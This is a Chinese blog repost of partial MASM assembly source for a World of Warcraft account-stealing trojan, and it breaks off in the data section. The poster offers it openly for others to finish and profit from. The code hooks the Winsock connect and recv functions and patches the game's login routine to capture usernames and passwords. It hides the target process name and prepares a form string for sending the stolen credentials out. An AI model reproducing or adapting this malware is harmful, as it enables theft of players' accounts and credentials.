欧服WOW木马核心源代码，游戏版本v2.4.3.8606_魔兽世界2.43源码-优快云博客

本文链接：https://blog.youkuaiyun.com/iiprogram/article/details/3078621

本文详细探讨了针对魔兽世界欧服v2.4.3.8606版本的一个木马的核心源代码，涉及hook技术、API调用以及DLL注入等方面，揭示了恶意软件如何在游戏中隐蔽运行并影响玩家体验。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

对应游戏版本v2.4.3.8606。这个只是核心代码，而非完整代码，通过调式完全可以写出美服跟欧服的WOW马来，大家发财去吧

Quote:

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;
; Programmed by asm, MSN:asm32@live.cn ;
; WOWGameMaker For WOW_MF_OF ;
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;
;0041DAEA |. 5E pop esi <-------------特征码位置+12=断点位置
;0041DAEB |. 33CD xor ecx, ebp
;0041DAED |. 5B pop ebx
;0041DAEE |. E8 E7CAFEFF call 0040A5DA
;0041DAF3 |. 8BE5 mov esp, ebp
;0041DAF5 |. 5D pop ebp <-------------断点位置
;0041DAF6 /. C2 0400 retn 4 <-------------ret执行后，游戏会跳转到005B55B4h这里执行。因此在木马里要
;搜索这个地址得特征码从而得到通用得地址，而不是直接采用硬编码 = =。再得到通用得地址后执行 mov eax,hJmpEip/jmp eax即可

;szUserPassRealCode db 5Eh, 33h, 0CDh,5Bh, 0E8h, 0E7h,0CAh,0FEh,0FFh,8Bh,0E5h,5Dh,0C2h, 04h,00h

;005B55B4 8B4D FC mov ecx, dword ptr [ebp-4] <-----------------得到要跳转的地址
;005B55B7 5F pop edi
;005B55B8 5E pop esi
;005B55B9 |. 33CD xor ecx, ebp
;005B55BB |. 5B pop ebx
;005B55BC |. E8 1950E5FF call 0040A5DA
;005B55C1 8BE5 mov esp, ebp

;szJmpEip db 8Bh,4Dh, 0FCh,5Fh,5Eh,33h,0CDh,5Bh,0E8h, 19h,50h,0E5h,0FFh,8Bh,0E5h
;----------------------------------------------------------------------------------------------------------------
.486
.model flat,stdcall
option casemap:none
include debug.inc
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
include advapi32.inc
includelib advapi32.lib
include comctl32.inc
includelib comctl32.lib
include psapi.inc
includelib psapi.lib
IncludeLib Masm32.lib
Include Masm32.inc
include Shlwapi.inc
includelib Shlwapi.lib
include shell32.inc
includelib shell32.lib
include macros.inc
includelib mylib.lib
include wininet.inc
includelib wininet.lib
HOOKAPI struct
a byte 0B8h
PMyapi DWORD 0
d BYTE 0FFh
e BYTE 0E0h
HOOKAPI ends

MODULEINFO struct

lpBaseOfDll dword 0
SizeOfImage dword 0
EntryPoint dword 0

MODULEINFO ends
F_STOP equ 0002h

;子程序声明

HookApi proto :DWORD ,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
HookApi1 proto :DWORD ,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
HookApiRecv proto :DWORD ,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
WriteApi proto :DWORD ,:DWORD,:DWORD,:DWORD
WriteApi1 proto :DWORD ,:DWORD,:DWORD,:DWORD
MyHookFunToGetUserAndPass proto :DWORD ,:DWORD,:DWORD
MyConnect proto :DWORD ,:DWORD,:DWORD;,:DWORD
MyRecv proto :DWORD ,:DWORD,:DWORD,:DWORD
GetApi proto :DWORD,:DWORD
BakDll proto :DWORD,:DWORD

AntiFileToRun proto c :DWORD
BytePos proto c :DWORD,:DWORD,:DWORD,:DWORD,:DWORD
LoadModuleEx proto c :DWORD
GetModuleImageSize proto c :DWORD
CaleHookPointerWOW proto c
ExtractFileName proto c :DWORD
ExtractFilePath proto c :DWORD

;已初始化数据
.data
hInstance dd 0
WProcess dd 0

Papi1 DWORD ?
Papi2 DWORD ?
Papi3 DWORD ?
WritBak1 HOOKAPI <>
WritBak2 HOOKAPI <>
ApiBak1 db 10 dup(?)
ApiBak2 db 10 dup(?)
DllName1 db "ws2_32.dll",0
ApiName1 db "connect",0
ApiName2 db "recv",0
ApiName3 db "hook",0
szWowprocess db "g&mpm",0 ;wow.exe加密
Dllbase1 DWORD ?
NowDllbase1 DWORD ?
NowDllbase2 DWORD ?
dwTemp dd ?
hAdress dd ?
;Dllbase2 DWORD ?
;NowDllbase2 DWORD ?
hRecvBak dd ?
hRecv dd ?
szJmp db 0C2h,04h,00h,0cch,0cch,0cch,0cch ;恢复
szJmpRecv db 8Bh,0FFh,55h,8Bh,0ECh,83h,0ECh, 10h,53h,33h,0DBh,81h,3Dh, 28h,40h,0A3h,71h,56h,0Fh,84h, 5Eh,50h,00h,00h
szWOWFmt db "wowu=%s&wowp=%s&wowf=%s",13,10,13,10,0
szUserPassRealCode db 5Eh, 33h, 0CDh,5Bh, 0E8h, 0E7h,0CAh,0FEh,0FFh,8Bh,0E5h,5Dh,0C2h, 04h,00h
szJmpEip db 8Bh,4Dh, 0FCh,5Fh,5Eh,33h,0CDh,5Bh,0E8h, 19h,50h,0E5h,0FFh,8Bh,0E5h
szEbpEnter db 6Ah, 40h, 5